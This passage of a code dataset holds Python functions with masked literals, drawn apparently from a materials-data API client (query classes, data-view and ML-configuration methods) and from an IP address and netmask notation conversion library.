authors field.\n:param editors: One or more :class:`NameQuery` operations against the editors field.\n:param affiliations: One or more :class:`FieldQuery` operations against the affiliations field.\n:param acknowledgements: One or more :class:`FieldQuery` operations against the acknowledgements field.\n:param references: One or more :class:`ReferenceQuery` operations against the references field.\n:param query: One or more :class:`ReferenceQuery` objects with nested queries.", "id": "f3557:c0:m0"}
{"signature": "def __init__(self, sort=None, weight=None, logic=None, simple=None, simple_weight=None, extract_as=None,<EOL>extract_all=None, extract_when_missing=None, length=None, offset=None, filter=None, **kwargs):", "body": "super(FieldQuery, self).__init__(<EOL>sort=sort, weight=weight, logic=logic, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, length=length, offset=offset, **kwargs)<EOL>self._filter = None<EOL>self.filter = filter<EOL>", "docstring": "Constructor.\n\n:param sort: ASCENDING or DESCENDING to set the sort order on this field.\n:param weight: Weight of the query.\n:param logic: Logic for this query. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param length: One or more :class:`FieldQuery` objects against the length field.\n:param offset: One or more :class:`FieldQuery` objects against the offset field.\n:param filter: One or more :class:`Filter` objects against this field.", "id": "f3558:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._simple = None<EOL>self.simple = simple<EOL>self._simple_weight = None<EOL>self.simple_weight = simple_weight<EOL>self._extract_as = None<EOL>self.extract_as = extract_as<EOL>self._extract_all = None<EOL>self.extract_all = extract_all<EOL>self._extract_when_missing = None<EOL>self.extract_when_missing = extract_when_missing<EOL>self._tags = None<EOL>self.tags = tags<EOL>self._length = None<EOL>self.length = length<EOL>self._offset = None<EOL>self.offset = offset<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight for the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.", "id": "f3559:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, start=None, end=None,<EOL>query=None, **kwargs):", "body": "super(PagesQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._start = None<EOL>self.start = start<EOL>self._end = None<EOL>self.end = end<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param start: One or more :class:`FieldQuery` operations against the starting page field.\n:param end: One or more :class:`FieldQuery` operations against the ending page field.\n:param query: One or more :class:`PagesQuery` objects with nested queries.", "id": "f3560:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, uid=None, updated_at=None,<EOL>names=None, ids=None, classifications=None, source=None, quantity=None, chemical_formula=None,<EOL>composition=None, properties=None, preparation=None, references=None, sub_systems=None,<EOL>query=None, **kwargs):", "body": "super(PifSystemQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._uid = None<EOL>self.uid = uid<EOL>self._updated_at = None<EOL>self.updated_at = updated_at<EOL>self._names = None<EOL>self.names = names<EOL>self._ids = None<EOL>self.ids = ids<EOL>self._classifications = None<EOL>self.classifications = classifications<EOL>self._source = None<EOL>self.source = source<EOL>self._quantity = None<EOL>self.quantity = quantity<EOL>self._chemical_formula = None<EOL>self.chemical_formula = chemical_formula<EOL>self._composition = None<EOL>self.composition = composition<EOL>self._properties = None<EOL>self.properties = properties<EOL>self._preparation = None<EOL>self.preparation = preparation<EOL>self._references = None<EOL>self.references = references<EOL>self._sub_systems = None<EOL>self.sub_systems = sub_systems<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param uid: One or more :class:`Filter` objects with the filters against the uid field.\n:param updated_at: One or more :class:`Filter` objects with filters against the time that the PIF record was last updated.\n:param names: One or more :class:`FieldQuery` objects with queries against the names field.\n:param ids: One or more :class:`IdQuery` objects with queries against the ids field.\n:param classifications: One or more :class:`ClassificationQuery` objects with queries against the classifications field.\n:param source: One or more :class:`SourceQuery` objects with queries against the source field.\n:param quantity: One or more :class:`QuantityQuery` objects with queries against the quantity field.\n:param chemical_formula: One or more :class:`ChemicalFieldQuery` objects with queries against the chemicalFormula field.\n:param composition: One or more :class:`CompositionQuery` objects with queries against the composition field.\n:param properties: One or more :class:`PropertyQuery` objects with queries against the properties field.\n:param preparation: One or more :class:`ProcessStepQuery` objects with queries against the preparation field.\n:param references: One or more :class:`ReferenceQuery` objects with queries against the references field.\n:param sub_systems: One or more :class:`PifSystemQuery` objects with queries against the subSystems field.\n:param query: One or more :class:`PifSystemQuery` objects with nested queries.", "id": "f3561:c0:m0"}
{"signature": "def __init__(self, query=None, extraction_sort=None, from_index=None, size=None, random_results=None,<EOL>random_seed=None, score_relevance=None, return_max_score=None, timeout=None, return_system=None,<EOL>add_latex=None, return_extracted_path=None, unwrap_single_value_extractions=None, **kwargs):", "body": "super(PifSystemReturningQuery, self).__init__(<EOL>query=query, from_index=from_index, size=size, random_results=random_results, random_seed=random_seed,<EOL>score_relevance=score_relevance, return_max_score=return_max_score, timeout=timeout, **kwargs)<EOL>self._return_system = None<EOL>self.return_system = return_system<EOL>self._add_latex = None<EOL>self.add_latex = add_latex<EOL>self._return_extracted_path = None<EOL>self.return_extracted_path = return_extracted_path<EOL>self._unwrap_single_value_extractions = None<EOL>self.unwrap_single_value_extractions = unwrap_single_value_extractions<EOL>self._extraction_sort = None<EOL>self.extraction_sort = extraction_sort<EOL>", "docstring": "Constructor.\n\n:param query: One or more :class:`DataQuery` objects with the queries to run.\n:param extraction_sort: A single :class:`ExtractionSort` object for sorting.\n:param from_index: Index of the first hit that should be returned.\n:param size: Total number of hits the should be returned.\n:param random_results: Whether to return a random set of records.\n:param random_seed: The random seed to use.\n:param score_relevance: Whether to use relevance scoring.\n:param return_max_score: Whether to return the maximum score.\n:param timeout: The number of milliseconds to wait for the query to execute.\n:param return_system: Whether to return the matched PIF systems.\n:param add_latex: Whether to add latex formatting where possible in results.\n:param return_extracted_path: Whether to return the path in PIFs for extracted values.\n:param unwrap_single_value_extractions: Whether to unwrap extracted values when they are lists with one value.", "id": "f3562:c0:m0"}
{"signature": "def __init__(self, result=None, status=None, **kwargs):", "body": "self._result = None<EOL>self.result = result<EOL>self._status = None<EOL>self.status = status<EOL>", "docstring": "Constructor.\n\n:param result: A single :class:`PifSearchResult` object with the query results.\n:param status: 'SUCCESS', 'ERROR', or 'NOT_EXECUTED'.", "id": "f3563:c0:m0"}
{"signature": "def __init__(self, id=None, dataset=None, dataset_version=None, score=None, updated_at=None, system=None, <EOL>extracted=None, extracted_path=None, **kwargs):", "body": "self._id = None<EOL>self.id = id<EOL>self._dataset = None<EOL>self.dataset = dataset<EOL>self._dataset_version = None<EOL>self.dataset_version = dataset_version<EOL>self._score = None<EOL>self.score = score<EOL>self._updated_at = None<EOL>self.updated_at = updated_at<EOL>self._system = None<EOL>self.system = system<EOL>self._extracted = None<EOL>self.extracted = extracted<EOL>self._extracted_path = None<EOL>self.extracted_path = extracted_path<EOL>", "docstring": "Constructor.\n\n:param id: String with the ID of the record.\n:param dataset: Integer with the dataset of the record.\n:param dataset_version: Integer with the dataset version of the record.\n:param score: Score with the relevancy of the result.\n:param updated_at: String with the last time that the record was updated.\n:param system: Pif System object that matched.\n:param extracted: Dictionary with a map of extracted property names to values.\n:param extracted_path: Dictionary with a map of extracted property names to paths in a PIF.", "id": "f3564:c0:m0"}
{"signature": "def __init__(self, took=None, results=None, **kwargs):", "body": "self._took = None<EOL>self.took = took<EOL>self._results = None<EOL>self.results = results<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param results: List of :class:`PifMultiSearchResultElement` objects.", "id": "f3565:c0:m0"}
{"signature": "def __init__(self, took=None, total_num_hits=None, max_score=None, hits=None, **kwargs):", "body": "super(PifSearchResult, self).__init__(<EOL>took=took, total_num_hits=total_num_hits, max_score=max_score,<EOL>hits=self._get_object(PifSearchHit, hits), **kwargs)<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param total_num_hits: Total number of hits.\n:param max_score: The maximum score.\n:param hits: List of :class:`PifSearchHit` objects.", "id": "f3566:c0:m0"}
{"signature": "def load_file_as_json(path):", "body": "with open(path, \"<STR_LIT:r>\") as f:<EOL><INDENT>parsed_dict = json.load(f)<EOL><DEDENT>return parsed_dict<EOL>", "docstring": "Given a filepath, loads the file as a dictionary from JSON\n\n:param path: The path to a JSON file", "id": "f3568:m0"}
{"signature": "def create(self, configuration, name, description):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>configuration,<EOL>\"<STR_LIT:name>\":<EOL>name,<EOL>\"<STR_LIT:description>\":<EOL>description<EOL>}<EOL>failure_message = \"<STR_LIT>\"<EOL>result = self._get_success_json(self._post_json(<EOL>'<STR_LIT>', data, failure_message=failure_message))<EOL>data_view_id = result['<STR_LIT:data>']['<STR_LIT:id>']<EOL>return data_view_id<EOL>", "docstring": "Creates a data view from the search template and ml template given\n\n:param configuration: Information to construct the data view from (eg descriptors, datasets etc)\n:param name: Name of the data view\n:param description: Description for the data view\n:return: The data view id", "id": "f3579:c0:m1"}
{"signature": "def update(self, id, configuration, name, description):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>configuration,<EOL>\"<STR_LIT:name>\":<EOL>name,<EOL>\"<STR_LIT:description>\":<EOL>description<EOL>}<EOL>failure_message = \"<STR_LIT>\"<EOL>self._patch_json(<EOL>'<STR_LIT>' + id, data, failure_message=failure_message)<EOL>", "docstring": "Updates an existing data view from the search template and ml template given\n\n:param id: Identifier for the data view.  This returned from the create method.\n:param configuration: Information to construct the data view from (eg descriptors, datasets etc)\n:param name: Name of the data view\n:param description: Description for the data view", "id": "f3579:c0:m2"}
{"signature": "def delete(self, id):", "body": "failure_message = \"<STR_LIT>\"<EOL>self._delete('<STR_LIT>' + id, None, failure_message=failure_message)<EOL>", "docstring": "Deletes a data view.\n\n:param id: Identifier of the data view", "id": "f3579:c0:m3"}
{"signature": "def get(self, data_view_id):", "body": "failure_message = \"<STR_LIT>\"<EOL>return self._get_success_json(self._get(<EOL>'<STR_LIT>' + data_view_id, None, failure_message=failure_message))['<STR_LIT:data>']['<STR_LIT>']<EOL>", "docstring": "Gets basic information about a view\n\n:param data_view_id: Identifier of the data view\n:return: Metadata about the view as JSON", "id": "f3579:c0:m4"}
{"signature": "def get_data_view_service_status(self, data_view_id):", "body": "url = \"<STR_LIT>\".format(data_view_id)<EOL>response = self._get(url).json()<EOL>result = response[\"<STR_LIT:data>\"][\"<STR_LIT:status>\"]<EOL>return DataViewStatus(<EOL>predict=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"]),<EOL>experimental_design=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"]),<EOL>data_reports=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"]),<EOL>model_reports=ServiceStatus.from_response_dict(result[\"<STR_LIT>\"])<EOL>)<EOL>", "docstring": "Retrieves the status for all of the services associated with a data view:\n    - predict\n    - experimental_design\n    - data_reports\n    - model_reports\n\n:param data_view_id: The ID number of the data view to which the\n    run belongs, as a string\n:type data_view_id: str\n:return: A :class:`DataViewStatus`\n:rtype: DataViewStatus", "id": "f3579:c0:m5"}
{"signature": "def create_ml_configuration_from_datasets(self, dataset_ids):", "body": "available_columns = self.search_template_client.get_available_columns(dataset_ids)<EOL>search_template = self.search_template_client.create(dataset_ids, available_columns)<EOL>return self.create_ml_configuration(search_template, available_columns, dataset_ids)<EOL>", "docstring": "Creates an ml configuration from dataset_ids and extract_as_keys\n\n:param dataset_ids: Array of dataset identifiers to make search template from\n:return: An identifier used to request the status of the builder job (get_ml_configuration_status)", "id": "f3579:c0:m6"}
{"signature": "def create_ml_configuration(self, search_template, extract_as_keys, dataset_ids):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>search_template,<EOL>\"<STR_LIT>\":<EOL>extract_as_keys<EOL>}<EOL>failure_message = \"<STR_LIT>\"<EOL>config_job_id = self._get_success_json(self._post_json(<EOL>'<STR_LIT>', data, failure_message=failure_message))['<STR_LIT:data>'][<EOL>'<STR_LIT:result>']['<STR_LIT>']<EOL>while True:<EOL><INDENT>config_status = self.__get_ml_configuration_status(config_job_id)<EOL>print('<STR_LIT>', config_status)<EOL>if config_status['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>ml_config = self.__convert_response_to_configuration(config_status['<STR_LIT:result>'], dataset_ids)<EOL>return ml_config<EOL><DEDENT>time.sleep(<NUM_LIT:5>)<EOL><DEDENT>", "docstring": "This method will spawn a server job to create a default ML configuration based on a search template and\nthe extract as keys.\nThis function will submit the request to build, and wait for the configuration to finish before returning.\n\n:param search_template: A search template defining the query (properties, datasets etc)\n:param extract_as_keys: Array of extract-as keys defining the descriptors\n:param dataset_ids: Array of dataset identifiers to make search template from\n:return: An identifier used to request the status of the builder job (get_ml_configuration_status)", "id": "f3579:c0:m7"}
{"signature": "def __convert_response_to_configuration(self, result_blob, dataset_ids):", "body": "builder = DataViewBuilder()<EOL>builder.dataset_ids(dataset_ids)<EOL>for i, (k, v) in enumerate(result_blob['<STR_LIT>'].items()):<EOL><INDENT>try:<EOL><INDENT>descriptor = self.__snake_case(v[<NUM_LIT:0>])<EOL>print(json.dumps(descriptor))<EOL>descriptor['<STR_LIT>'] = k<EOL>builder.add_raw_descriptor(descriptor)<EOL><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>for i, (k, v) in enumerate(result_blob['<STR_LIT>'].items()):<EOL><INDENT>builder.set_role(k, v.lower())<EOL><DEDENT>return builder.build()<EOL>", "docstring": "Utility function to turn the result object from the configuration builder endpoint into something that\ncan be used directly as a configuration.\n\n:param result_blob: Nested dicts representing the possible descriptors\n:param dataset_ids: Array of dataset identifiers to make search template from\n:return: An object suitable to be used as a parameter to data view create", "id": "f3579:c0:m8"}
{"signature": "def __snake_case(self, descriptor):", "body": "newdict = {}<EOL>for i, (k, v) in enumerate(descriptor.items()):<EOL><INDENT>newkey = \"<STR_LIT>\"<EOL>for j, c in enumerate(k):<EOL><INDENT>if c.isupper():<EOL><INDENT>if len(newkey) != <NUM_LIT:0>:<EOL><INDENT>newkey += '<STR_LIT:_>'<EOL><DEDENT>newkey += c.lower()<EOL><DEDENT>else:<EOL><INDENT>newkey += c<EOL><DEDENT><DEDENT>newdict[newkey] = v<EOL><DEDENT>return newdict<EOL>", "docstring": "Utility method to convert camelcase to snake\n:param descriptor: The dictionary to convert", "id": "f3579:c0:m9"}
{"signature": "def __get_ml_configuration_status(self, job_id):", "body": "failure_message = \"<STR_LIT>\"<EOL>response = self._get_success_json(self._get(<EOL>'<STR_LIT>' + job_id + '<STR_LIT>', None, failure_message=failure_message))[<EOL>'<STR_LIT:data>']<EOL>return response<EOL>", "docstring": "After invoking the create_ml_configuration async method, you can use this method to\ncheck on the status of the builder job.\n\n:param job_id: The identifier returned from create_ml_configuration\n:return: Job status", "id": "f3579:c0:m10"}
{"signature": "def validate(self, ml_template):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>ml_template<EOL>}<EOL>failure_message = \"<STR_LIT>\"<EOL>res = self._get_success_json(self._post_json(<EOL>'<STR_LIT>', data, failure_message=failure_message))['<STR_LIT:data>']<EOL>if res['<STR_LIT>']:<EOL><INDENT>return '<STR_LIT:OK>'<EOL><DEDENT>return res['<STR_LIT>']<EOL>", "docstring": "Runs the template against the validation endpoint, returns a message indicating status of the templte\n\n:param ml_template: Template to validate\n:return: OK or error message if validation failed", "id": "f3580:c0:m1"}
{"signature": "def dataset_ids(self, dataset_ids):", "body": "self.configuration['<STR_LIT>'] = dataset_ids<EOL>", "docstring": "Sets the dataset ids to use for the view\n\n:param dataset_ids: Array of strings, one for each dataset id", "id": "f3581:c0:m1"}
{"signature": "def model_type(self, model_type):", "body": "self.configuration['<STR_LIT>'] = model_type<EOL>", "docstring": "Sets the model type for the view\n\n:param model_type: A string of either linear, or default", "id": "f3581:c0:m2"}
{"signature": "def add_descriptor(self, descriptor, role='<STR_LIT:ignore>', group_by_key=False):", "body": "descriptor.validate()<EOL>if descriptor.key in self.configuration[\"<STR_LIT>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.configuration['<STR_LIT>'].append(descriptor.as_dict())<EOL>self.configuration[\"<STR_LIT>\"][descriptor.key] = role<EOL>if group_by_key:<EOL><INDENT>self.configuration[\"<STR_LIT>\"].append(descriptor.key)<EOL><DEDENT>", "docstring": "Add a descriptor column.\n\n:param descriptor: A Descriptor instance (e.g., RealDescriptor, InorganicDescriptor, etc.)\n:param role: Specify a role (input, output, latentVariable, or ignore)\n:param group_by_key: Whether or not to group by this key during cross validation", "id": "f3581:c0:m3"}
{"signature": "def add_raw_descriptor(self, descriptor):", "body": "self.configuration['<STR_LIT>'].append(descriptor)<EOL>", "docstring": "Add a raw descriptor dictionary object.\n:param descriptor: A descriptor as a dictionary", "id": "f3581:c0:m4"}
{"signature": "def get_available_columns(self, dataset_ids):", "body": "if not isinstance(dataset_ids, list):<EOL><INDENT>dataset_ids = [dataset_ids]<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\":<EOL>dataset_ids<EOL>}<EOL>failure_message = \"<STR_LIT>\".format(dataset_ids)<EOL>return self._get_success_json(self._post_json(<EOL>'<STR_LIT>', data, failure_message=failure_message))['<STR_LIT:data>']<EOL>", "docstring": "Retrieves the set of columns from the combination of dataset ids given\n\n:param dataset_ids: The id of the dataset to retrieve columns from\n:type dataset_ids: list of int\n:return: A list of column names from the dataset ids given.\n:rtype: list of str", "id": "f3582:c0:m2"}
{"signature": "def __generate_search_template(self, dataset_ids):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>dataset_ids<EOL>}<EOL>failure_message = \"<STR_LIT>\".format(dataset_ids)<EOL>return self._get_success_json(self._post_json(<EOL>'<STR_LIT>', data, failure_message=failure_message))['<STR_LIT:data>']<EOL>", "docstring": "Generates a default search templates from the available columns in the dataset ids given.\n\n:param dataset_ids: The id of the dataset to retrieve files from\n:type dataset_ids: list of int\n:return: A search template based on the columns in the datasets given", "id": "f3582:c0:m3"}
{"signature": "def __prune_search_template(self, extract_as_keys, search_template):", "body": "data = {<EOL>\"<STR_LIT>\":<EOL>extract_as_keys,<EOL>\"<STR_LIT>\":<EOL>search_template<EOL>}<EOL>failure_message = \"<STR_LIT>\"<EOL>return self._get_success_json(self._post_json(<EOL>'<STR_LIT>', data, failure_message=failure_message))['<STR_LIT:data>']<EOL>", "docstring": "Returns a new search template, but the new template has only the extract_as_keys given.\n\n:param extract_as_keys: List of extract as keys to keep\n:param search_template: The search template to prune\n:return: New search template with pruned columns", "id": "f3582:c0:m4"}
{"signature": "def _get_notation(notation):", "body": "return _NOTATION_KEYS.get(notation, None)<EOL>", "docstring": "Given a numeric value or string value, returns one in IP_DOT, IP_HEX,\n    IP_BIN, etc., or None if unable to convert to the internally\n    used numeric convention.", "id": "f3601:m0"}
{"signature": "def p_notation(notation):", "body": "return NOTATION_MAP[_get_notation(notation) or IP_UNKNOWN][<NUM_LIT:0>]<EOL>", "docstring": "Return a string representing the given notation.", "id": "f3601:m1"}
{"signature": "def is_dot(ip):", "body": "octets = str(ip).split('<STR_LIT:.>')<EOL>if len(octets) != <NUM_LIT:4>:<EOL><INDENT>return False<EOL><DEDENT>for i in octets:<EOL><INDENT>try:<EOL><INDENT>val = int(i)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if val > <NUM_LIT:255> or val < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Return true if the IP address is in dotted decimal notation.", "id": "f3601:m2"}
{"signature": "def is_hex(ip):", "body": "try:<EOL><INDENT>dec = int(str(ip), <NUM_LIT:16>)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>return False<EOL><DEDENT>if dec > <NUM_LIT> or dec < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return true if the IP address is in hexadecimal notation.", "id": "f3601:m3"}
{"signature": "def is_bin(ip):", "body": "try:<EOL><INDENT>ip = str(ip)<EOL>if len(ip) != <NUM_LIT:32>:<EOL><INDENT>return False<EOL><DEDENT>dec = int(ip, <NUM_LIT:2>)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>return False<EOL><DEDENT>if dec > <NUM_LIT> or dec < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return true if the IP address is in binary notation.", "id": "f3601:m4"}
{"signature": "def is_oct(ip):", "body": "try:<EOL><INDENT>dec = int(str(ip), <NUM_LIT:8>)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>return False<EOL><DEDENT>if dec > <NUM_LIT> or dec < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return true if the IP address is in octal notation.", "id": "f3601:m5"}
{"signature": "def is_dec(ip):", "body": "try:<EOL><INDENT>dec = int(str(ip))<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if dec > <NUM_LIT> or dec < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return true if the IP address is in decimal notation.", "id": "f3601:m6"}
{"signature": "def _check_nm(nm, notation):", "body": "<EOL>_NM_CHECK_FUNCT = {<EOL>NM_DOT: _dot_to_dec,<EOL>NM_HEX: _hex_to_dec,<EOL>NM_BIN: _bin_to_dec,<EOL>NM_OCT: _oct_to_dec,<EOL>NM_DEC: _dec_to_dec_long}<EOL>try:<EOL><INDENT>dec = _NM_CHECK_FUNCT[notation](nm, check=True)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if dec in _NETMASKS_VALUES:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Function internally used to check if the given netmask\n    is of the specified notation.", "id": "f3601:m7"}
{"signature": "def is_dot_nm(nm):", "body": "return _check_nm(nm, NM_DOT)<EOL>", "docstring": "Return true if the netmask is in dotted decimal notatation.", "id": "f3601:m8"}
{"signature": "def is_hex_nm(nm):", "body": "return _check_nm(nm, NM_HEX)<EOL>", "docstring": "Return true if the netmask is in hexadecimal notatation.", "id": "f3601:m9"}
{"signature": "def is_bin_nm(nm):", "body": "return _check_nm(nm, NM_BIN)<EOL>", "docstring": "Return true if the netmask is in binary notatation.", "id": "f3601:m10"}
{"signature": "def is_oct_nm(nm):", "body": "return _check_nm(nm, NM_OCT)<EOL>", "docstring": "Return true if the netmask is in octal notatation.", "id": "f3601:m11"}
{"signature": "def is_dec_nm(nm):", "body": "return _check_nm(nm, NM_DEC)<EOL>", "docstring": "Return true if the netmask is in decimal notatation.", "id": "f3601:m12"}
{"signature": "def is_bits_nm(nm):", "body": "try:<EOL><INDENT>bits = int(str(nm))<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if bits > <NUM_LIT:32> or bits < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return true if the netmask is in bits notatation.", "id": "f3601:m13"}
{"signature": "def is_wildcard_nm(nm):", "body": "try:<EOL><INDENT>dec = <NUM_LIT> - _dot_to_dec(nm, check=True)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if dec in _NETMASKS_VALUES:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Return true if the netmask is in wildcard bits notatation.", "id": "f3601:m14"}
{"signature": "def _dot_to_dec(ip, check=True):", "body": "if check and not is_dot(ip):<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>octets = str(ip).split('<STR_LIT:.>')<EOL>dec = <NUM_LIT:0><EOL>dec |= int(octets[<NUM_LIT:0>]) << <NUM_LIT><EOL>dec |= int(octets[<NUM_LIT:1>]) << <NUM_LIT:16><EOL>dec |= int(octets[<NUM_LIT:2>]) << <NUM_LIT:8><EOL>dec |= int(octets[<NUM_LIT:3>])<EOL>return dec<EOL>", "docstring": "Dotted decimal notation to decimal conversion.", "id": "f3601:m15"}
{"signature": "def _dec_to_dot(ip):", "body": "first = int((ip >> <NUM_LIT>) & <NUM_LIT:255>)<EOL>second = int((ip >> <NUM_LIT:16>) & <NUM_LIT:255>)<EOL>third = int((ip >> <NUM_LIT:8>) & <NUM_LIT:255>)<EOL>fourth = int(ip & <NUM_LIT:255>)<EOL>return '<STR_LIT>' % (first, second, third, fourth)<EOL>", "docstring": "Decimal to dotted decimal notation conversion.", "id": "f3601:m16"}
{"signature": "def _hex_to_dec(ip, check=True):", "body": "if check and not is_hex(ip):<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>if isinstance(ip, int):<EOL><INDENT>ip = hex(ip)<EOL><DEDENT>return int(str(ip), <NUM_LIT:16>)<EOL>", "docstring": "Hexadecimal to decimal conversion.", "id": "f3601:m17"}
{"signature": "def _dec_to_hex(ip):", "body": "return hex(ip)<EOL>", "docstring": "Decimal to hexadecimal conversion.", "id": "f3601:m18"}
{"signature": "def _oct_to_dec(ip, check=True):", "body": "if check and not is_oct(ip):<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>if isinstance(ip, int):<EOL><INDENT>ip = oct(ip)<EOL><DEDENT>return int(str(ip), <NUM_LIT:8>)<EOL>", "docstring": "Octal to decimal conversion.", "id": "f3601:m19"}
{"signature": "def _dec_to_oct(ip):", "body": "return oct(ip)<EOL>", "docstring": "Decimal to octal conversion.", "id": "f3601:m20"}
{"signature": "def _bin_to_dec(ip, check=True):", "body": "if check and not is_bin(ip):<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>if isinstance(ip, int):<EOL><INDENT>ip = str(ip)<EOL><DEDENT>return int(str(ip), <NUM_LIT:2>)<EOL>", "docstring": "Binary to decimal conversion.", "id": "f3601:m21"}
{"signature": "def _BYTES_TO_BITS():", "body": "the_table = <NUM_LIT>*[None]<EOL>bits_per_byte = list(range(<NUM_LIT:7>, -<NUM_LIT:1>, -<NUM_LIT:1>))<EOL>for n in range(<NUM_LIT>):<EOL><INDENT>l = n<EOL>bits = <NUM_LIT:8>*[None]<EOL>for i in bits_per_byte:<EOL><INDENT>bits[i] = '<STR_LIT>'[n & <NUM_LIT:1>]<EOL>n >>= <NUM_LIT:1><EOL><DEDENT>the_table[l] = '<STR_LIT>'.join(bits)<EOL><DEDENT>return the_table<EOL>", "docstring": "Generate a table to convert a whole byte to binary.\n    This code was taken from the Python Cookbook, 2nd edition - O'Reilly.", "id": "f3601:m22"}
